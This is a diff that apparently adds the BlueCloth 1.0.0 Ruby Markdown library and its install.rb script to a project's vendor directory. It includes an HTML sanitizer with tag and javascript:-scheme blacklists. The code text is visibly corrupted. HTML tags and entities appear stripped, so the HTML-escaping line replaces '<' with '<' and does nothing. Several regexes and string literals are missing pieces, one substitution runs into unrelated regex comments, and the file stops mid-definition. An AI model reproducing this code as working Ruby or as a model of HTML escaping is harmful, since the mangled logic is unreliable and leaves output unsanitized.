    +#	$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
    +#
    +#	Thanks to Masatoshi SEKI for ideas found in his install.rb.
    +#
    +#	Copyright (c) 2001-2004 The FaerieMUD Consortium.
    +#
    +#	This is free software. You may use, modify, and/or redistribute this
    +#	software under the terms of the Perl Artistic License. (See
    +#	http://language.perl.com/misc/Artistic.html)
    +#
    +
    +require './utils.rb'
    +include UtilityFunctions
    +
    +require 'rbconfig'
    +include Config
    +
    +require 'find'
    +require 'ftools'
    +
    +
    +$version	= %q$Revision: 1.3 $
    +$rcsId		= %q$Id: install.rb,v 1.3 2003/10/09 13:23:09 deveiant Exp $
    +
    +# Define required libraries
    +RequiredLibraries = [
    +	# libraryname, nice name, RAA URL, Download URL
    +	[ 'strscan', "StrScan", 
    +		'http://raa.ruby-lang.org/list.rhtml?name=strscan',
    +		'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
    +	[ 'logger', "Devel-Logger", 
    +		'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
    +		'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
    +]
    +
    +class Installer
    +
    +	@@PrunePatterns = [
    +		/CVS/,
    +		/~$/,
    +		%r:(^|/)\.:,
    +		/\.tpl$/,
    +	]
    +
    +	def initialize( testing=false )
    +		@ftools = (testing) ? self : File
    +	end
    +
    +	### Make the specified dirs (which can be a String or an Array of Strings)
    +	### with the specified mode.
    +	def makedirs( dirs, mode=0755, verbose=false )
    +		dirs = [ dirs ] unless dirs.is_a? Array
    +
    +		oldumask = File::umask
    +		File::umask( 0777 - mode )
    +
    +		for dir in dirs
    +			if @ftools == File
    +				File::mkpath( dir, $verbose )
    +			else
    +				$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
    +			end
    +		end
    +
    +		File::umask( oldumask )
    +	end
    +
    +	def install( srcfile, dstfile, mode=nil, verbose=false )
    +		dstfile = File.catname(srcfile, dstfile)
    +		unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
    +			$stderr.puts "   install #{srcfile} -> #{dstfile}"
    +		else
    +			$stderr.puts "   skipping #{dstfile}: unchanged"
    +		end
    +	end
    +
    +	public
    +
    +	def installFiles( src, dstDir, mode=0444, verbose=false )
    +		directories = []
    +		files = []
    +		
    +		if File.directory?( src )
    +			Find.find( src ) {|f|
    +				Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
    +				next if f == src
    +
    +				if FileTest.directory?( f )
    +					directories << f.gsub( /^#{src}#{File::Separator}/, '' )
    +					next 
    +
    +				elsif FileTest.file?( f )
    +					files << f.gsub( /^#{src}#{File::Separator}/, '' )
    +
    +				else
    +					Find.prune
    +				end
    +			}
    +		else
    +			files << File.basename( src )
    +			src = File.dirname( src )
    +		end
    +		
    +		dirs = [ dstDir ]
    +		dirs |= directories.collect {|d| File.join(dstDir,d)}
    +		makedirs( dirs, 0755, verbose )
    +		files.each {|f|
    +			srcfile = File.join(src,f)
    +			dstfile = File.dirname(File.join( dstDir,f ))
    +
    +			if verbose
    +				if mode
    +					$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
    +				else
    +					$stderr.puts "Install #{srcfile} -> #{dstfile}"
    +				end
    +			end
    +
    +			@ftools.install( srcfile, dstfile, mode, verbose )
    +		}
    +	end
    +
    +end
    +
    +if $0 == __FILE__
    +	header "BlueCloth Installer #$version"
    +
    +	for lib in RequiredLibraries
    +		testForRequiredLibrary( *lib )
    +	end
    +
    +	viewOnly = ARGV.include? '-n'
    +	verbose = ARGV.include? '-v'
    +
    +	debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
    +	sitelibdir = CONFIG['sitelibdir']
    +	debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
    +	sitearchdir = CONFIG['sitearchdir']
    +
    +	message "Installing\n"
    +	i = Installer.new( viewOnly )
    +	i.installFiles( "lib", sitelibdir, 0444, verbose )
    +end
    +	
    +
    +
    +
    diff --git a/vendor/gems/BlueCloth-1.0.0/lib/bluecloth.rb b/vendor/gems/BlueCloth-1.0.0/lib/bluecloth.rb
    new file mode 100644
    index 0000000..90beb61
    --- /dev/null
    +++ b/vendor/gems/BlueCloth-1.0.0/lib/bluecloth.rb
    @@ -0,0 +1,1255 @@
    +#!/usr/bin/ruby
    +# 
    +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
    +# tool.
    +# 
    +# == Synopsis
    +# 
    +#   doc = BlueCloth::new "
    +#     ## Test document ##
    +#
    +#     Just a simple test.
    +#   "
    +#
    +#   puts doc.to_html
    +# 
    +# == Authors
    +# 
    +# * Michael Granger 
    +# 
    +# == Contributors
    +#
    +# * Martin Chase  - Peer review, helpful suggestions
    +# * Florian Gross  - Filter options, suggestions
    +#
    +# == Copyright
    +#
    +# Original version:
    +#   Copyright (c) 2003-2004 John Gruber
    +#     
    +#   All rights reserved.
    +#
    +# Ruby port:
    +#   Copyright (c) 2004 The FaerieMUD Consortium.
    +# 
    +# BlueCloth is free software; you can redistribute it and/or modify it under the
    +# terms of the GNU General Public License as published by the Free Software
    +# Foundation; either version 2 of the License, or (at your option) any later
    +# version.
    +# 
    +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
    +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
    +# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
    +# 
    +# == To-do
    +#
    +# * Refactor some of the larger uglier methods that have to do their own
    +#   brute-force scanning because of lack of Perl features in Ruby's Regexp
    +#   class. Alternately, could add a dependency on 'pcre' and use most Perl
    +#   regexps.
    +#
    +# * Put the StringScanner in the render state for thread-safety.
    +#
    +# == Version
    +#
    +#  $Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
    +# 
    +
    +require 'digest/md5'
    +require 'logger'
    +require 'strscan'
    +
    +
    +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
    +### tool.
    +class BlueCloth < String
    +
    +	### Exception class for formatting errors.
    +	class FormatError < RuntimeError
    +
    +		### Create a new FormatError with the given source +str+ and an optional
    +		### message about the +specific+ error.
    +		def initialize( str, specific=nil )
    +			if specific
    +				msg = "Bad markdown format near %p: %s" % [ str, specific ]
    +			else
    +				msg = "Bad markdown format near %p" % str
    +			end
    +
    +			super( msg )
    +		end
    +	end
    +
    +
    +	# Release Version
    +	Version = '0.0.3'
    +
    +	# SVN Revision
    +	SvnRev = %q$Rev: 69 $
    +
    +	# SVN Id tag
    +	SvnId = %q$Id: bluecloth.rb 69 2004-08-25 05:27:15Z ged $
    +
    +	# SVN URL
    +	SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
    +
    +
    +	# Rendering state struct. Keeps track of URLs, titles, and HTML blocks
    +	# midway through a render. I prefer this to the globals of the Perl version
    +	# because globals make me break out in hives. Or something.
    +	RenderState = Struct::new( "RenderState", :urls, :titles, :literal_blocks, :log )
    +
    +	# Tab width for #detab! if none is specified
    +	TabWidth = 4
    +
    +	# The tag-closing string -- set to '>' for HTML
    +	EmptyElementSuffix = "/>";
    +
    +	# Table of MD5 sums for escaped characters
    +	EscapeTable = {}
    +	'\\`*_{}[]()#.!'.split(//).each {|char|
    +		hash = Digest::MD5::hexdigest( char )
    +
    +		EscapeTable[ char ] = {
    + 			:md5 => hash,
    +			:md5re => Regexp::new( hash ),
    +			:re  => Regexp::new( '\\\\' + Regexp::escape(char) ),
    +		}
    +	}
    +
    +    HTMLWhiteList = %w{ a abbr acronym address b blockquote br caption center cite code col colgroup
    +    dd del div dfn dl dt em h1 h2 h3 h4 h5 h6 hr i img ins kbd label legend li ol p pre g s samp
    +    span strike strong sub sup table tbody td tfoot th thead tr tt u ul }
    +
    +	HTMLAttrs = {
    +		'a' => %w{href title},  
    +		'img' => %w{src width height alt title class},
    +		'div' => %w{class},
    +		'table' => %w{border}
    +	}
    +
    +	HTMLBlackList = %w{
    +		script object applet embed
    +	} 
    +
    +	HTMLValueBlackList = %w{
    +		javascript: vbscript: mocha: livescript:
    +	}
    +
    +
    +	#################################################################
    +	###	I N S T A N C E   M E T H O D S
    +	#################################################################
    +
    +	### Create a new BlueCloth string.
    +	def initialize( content="", *restrictions )
    +		@log = Logger::new( $deferr )
    +		@log.level = $DEBUG ?
    +			Logger::DEBUG :
    +			($VERBOSE ? Logger::INFO : Logger::WARN)
    +		@scanner = nil
    +
    +		# Add any restrictions, and set the line-folding attribute to reflect
    +		# what happens by default.
    +		@filter_html = nil
    +		@filter_styles = nil
    +		restrictions.flatten.each {|r| __send__("#{r}=", true) }
    +		@fold_lines = true
    +
    +		super( content )
    +
    +		@log.debug "String is: %p" % self
    +	end
    +
    +
    +	######
    +	public
    +	######
    +
    +	# Filters for controlling what gets output for untrusted input. (But really,
    +	# you're filtering bad stuff out of untrusted input at submission-time via
    +	# untainting, aren't you?)
    +	attr_accessor :filter_html, :filter_styles
    +
    +	# RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
    +	# so this isn't used by anything.
    +	attr_accessor :fold_lines
    +
    +
    +	### Render Markdown-formatted text in this string object as HTML and return
    +	### it. The parameter is for compatibility with RedCloth, and is currently
    +	### unused, though that may change in the future.
    +	def to_html( lite=false )
    +
    +		# Create a StringScanner we can reuse for various lexing tasks
    +		@scanner = StringScanner::new( '' )
    +
    +		# Make a structure to carry around stuff that gets placeholdered out of
    +		# the source.
    +		rs = RenderState::new( {}, {}, {} )
    +
    +		# Make a copy of the string with normalized line endings, tabs turned to
    +		# spaces, and a couple of guaranteed newlines at the end
    +		text = self.gsub( /\r\n?/, "\n" ).detab
    +		text += "\n\n"
    +		@log.debug "Normalized line-endings: %p" % text
    +
    +		# Filter HTML if we're asked to do so
    +		if self.filter_html
    +			text.gsub!( "<", "<" )
    +			text.gsub!( ">", ">" )
    +			@log.debug "Filtered HTML: %p" % text
    +		end
    +
    +		# Simplify blank lines
    +		text.gsub!( /^ +$/, '' )
    +		@log.debug "Tabs -> spaces/blank lines stripped: %p" % text
    +
    +		# Replace HTML blocks with placeholders
    +		text = hide_html_blocks( text, rs )
    +		@log.debug "Hid HTML blocks: %p" % text
    +		@log.debug "Render state: %p" % rs
    +
    +		# Replace Latex blocks with placeholders
    +		text = hide_latex_blocks( text, rs )
    +		@log.debug "Hid Latex blocks: %p" % text
    +		@log.debug "Render state: %p" % rs
    +
    +		# Strip link definitions, store in render state
    +		text = strip_link_definitions( text, rs )
    +		@log.debug "Stripped link definitions: %p" % text
    +		@log.debug "Render state: %p" % rs
    +
    +		# Escape meta-characters
    +		text = escape_special_chars( text )
    +		@log.debug "Escaped special characters: %p" % text
    +
    +		# Transform block-level constructs
    +		text = apply_block_transforms( text, rs )
    +		@log.debug "After block-level transforms: %p" % text
    +
    +		# Now swap back in all the escaped characters
    +		text = unescape_special_chars( text )
    +		@log.debug "After unescaping special characters: %p" % text
    +
    +		return text
    +	end
    +	
    +
    +	### Convert tabs in +str+ to spaces.
    +	def detab( tabwidth=TabWidth )
    +		copy = self.dup
    +		copy.detab!( tabwidth )
    +		return copy
    +	end
    +
    +
    +	### Convert tabs to spaces in place and return self if any were converted.
    +	def detab!( tabwidth=TabWidth )
    +		newstr = self.split( /\n/ ).collect {|line|
    +			line.gsub( /(.*?)\t/ ) do
    +				$1 + ' ' * (tabwidth - $1.length % tabwidth)
    +			end
    +		}.join("\n")
    +		self.replace( newstr )
    +	end
    +
    +
    +	#######
    +	#private
    +	#######
    +
    +	def sanitize_html(html, whitelist, attrs, blacklist)
    +		whitelist += attrs.keys  
    +		page = Hpricot(html, :xhtml_strict => true)  
    +
    +		page.search("*").each do |e|  
    +			if e.elem?  
    +				tagname = e.name.downcase  
    +				if blacklist.include?(tagname)  
    +					e.swap("")  
    +				elsif !whitelist.include?(tagname)  
    +					e.parent.replace_child(e, e.children)   
    +				elsif attrs.has_key?(tagname)  
    +					e.attributes.each do |key, val|
    +						e.remove_attribute(key) if !attrs[tagname].include?(key.downcase)
    +
    +						HTMLValueBlackList.each do |bad| 
    +							e.remove_attribute(key) if val.downcase.gsub(/\s/, "").include?(bad.downcase)
    +						end
    +					end
    +				else
    +					e.attributes.each { |key, val| e.remove_attribute(key) }
    +				end  
    +			elsif e.comment?  
    +				e.swap('')  
    +			end  
    +		end  
    +
    +		page.to_s  
    +	end	
    +
    +	### Do block-level transforms on a copy of +str+ using the specified render
    +	### state +rs+ and return the results.
    +	def apply_block_transforms( str, rs )
    +		# Port: This was called '_runBlockGamut' in the original
    +
    +		text = str.gsub(/&#x([0-9a-f]*)/i) do |match|
    +			"&#" + match[3..-1].to_i(16).to_s
    +		end
    +		text.gsub!(/&#([0-9a-f]*);?/i, "&#\\1;")
    +		#text.gsub!(/`.*`/, "")
    +
    +		@log.debug "Applying block transforms to:\n  %p" % str
    +		text = transform_headers( text, rs )
    +		#text = transform_hrules( text, rs )
    +		text = transform_lists( text, rs )
    +		text = transform_code_blocks( text, rs )
    +		text = transform_block_quotes( text, rs )
    +		text = transform_auto_links( text, rs )
    +		text = hide_html_blocks( text, rs )
    +
    +		text = form_paragraphs( text, rs )
    +
    +		# Substitutes any remaining literal block
    +		text.gsub!(/[a-z0-9]{32,32}/) {|match|
    +			if rs.literal_blocks.key?( match )
    +				rs.literal_blocks[ match ]
    +			else
    +				match
    +			end
    +		}
    +
    +		# Sanitize result
    +		@log.debug "Sanitizing HTML:\n %p" % text
    +		text = sanitize_html(text, HTMLWhiteList, HTMLAttrs, HTMLBlackList)
    +
    +		@log.debug "Done with block transforms:\n  %p" % text
    +		return text
    +	end
    +
    +
    +	### Apply Markdown span transforms to a copy of the specified +str+ with the
    +	### given render state +rs+ and return it.
    +	def apply_span_transforms( str, rs )
    +		@log.debug "Applying span transforms to:\n  %p" % str
    +
    +		str = transform_code_spans( str, rs )
    +		str = encode_html( str )
    +		str = transform_images( str, rs )
    +		str = transform_anchors( str, rs )
    +		str = transform_italic_and_bold( str, rs )
    +
    +		# Hard breaks
    +		str.gsub!( / {2,}\n/, "
    +	# 		
    + # tags for inner block must be indented. + #
    + #
    + StrictBlockRegex = %r{ + ^ # Start of line + <(#{StrictTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{LooseTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # Special case for
    . + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
    ])*? # Attributes + /?> # Tag close + $ # followed by a blank line or end of document + ) + }ix + + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.literal_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + MimeTexURL = "http://isoron.org/tex/math.cgi" + LatexBlockRegexp = %r{ + \{\$\$(.*?)\$\$\} + }xm + + LatexInlineRegexp = %r{ + \{\$(.+?)\$\} + }x + + def hide_latex_blocks( str, rs ) + @log.debug "Hiding Latex blocks in %p" % str + + def tokenize(match, rs) + key = Digest::MD5::hexdigest( match ) + rs.literal_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "#{key}" + end + + rval = str.dup + + # Block Latex + rval = rval.gsub(LatexBlockRegexp) {|block| + codeblock = $1.strip.gsub("\n", '%0A').gsub(/[ \t]+/, " ") + codeblock = %{
    } % + [ encode_code( codeblock, rs ) ] + tokenize(codeblock, rs) + } + + # Inline math + rval = rval.gsub( LatexInlineRegexp ) {|block| + codeblock = $1.strip + codeblock = %{} % [ encode_code( codeblock, rs ) ] + tokenize(codeblock, rs) + } + + end + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + ? # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + # The original Markdown source has something called '$tags_to_skip' + # declared here, but it's never used, so I don't define it. + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (#{ListMarkerAny}) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
  • %s
  • \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (?:\n\n|\A) + ( # $1 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + codeblock = $1 + remainder = $2 + + # Generate the codeblock + %{\n\n
    %s
    \n\n%s} % + [ encode_code( outdent(codeblock).strip, rs ).rstrip, remainder ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
    \n%s\n
    \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

    #{title}

    \n\n] + when '-' + %[

    #{title}

    \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.literal_blocks.key?( graf ) + rs.literal_blocks[ graf ] + + # Otherwise, wrap in

    tags + else + result = apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

    ' ) + '

    ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + ? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* + ? # source url = $3 + [ ]* + (?: # + (["']) # quote char = $4 + (.*?) # title = $5 + \4 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + alt.gsub!( /"/, '"' ) + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( "\n", ' '). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def 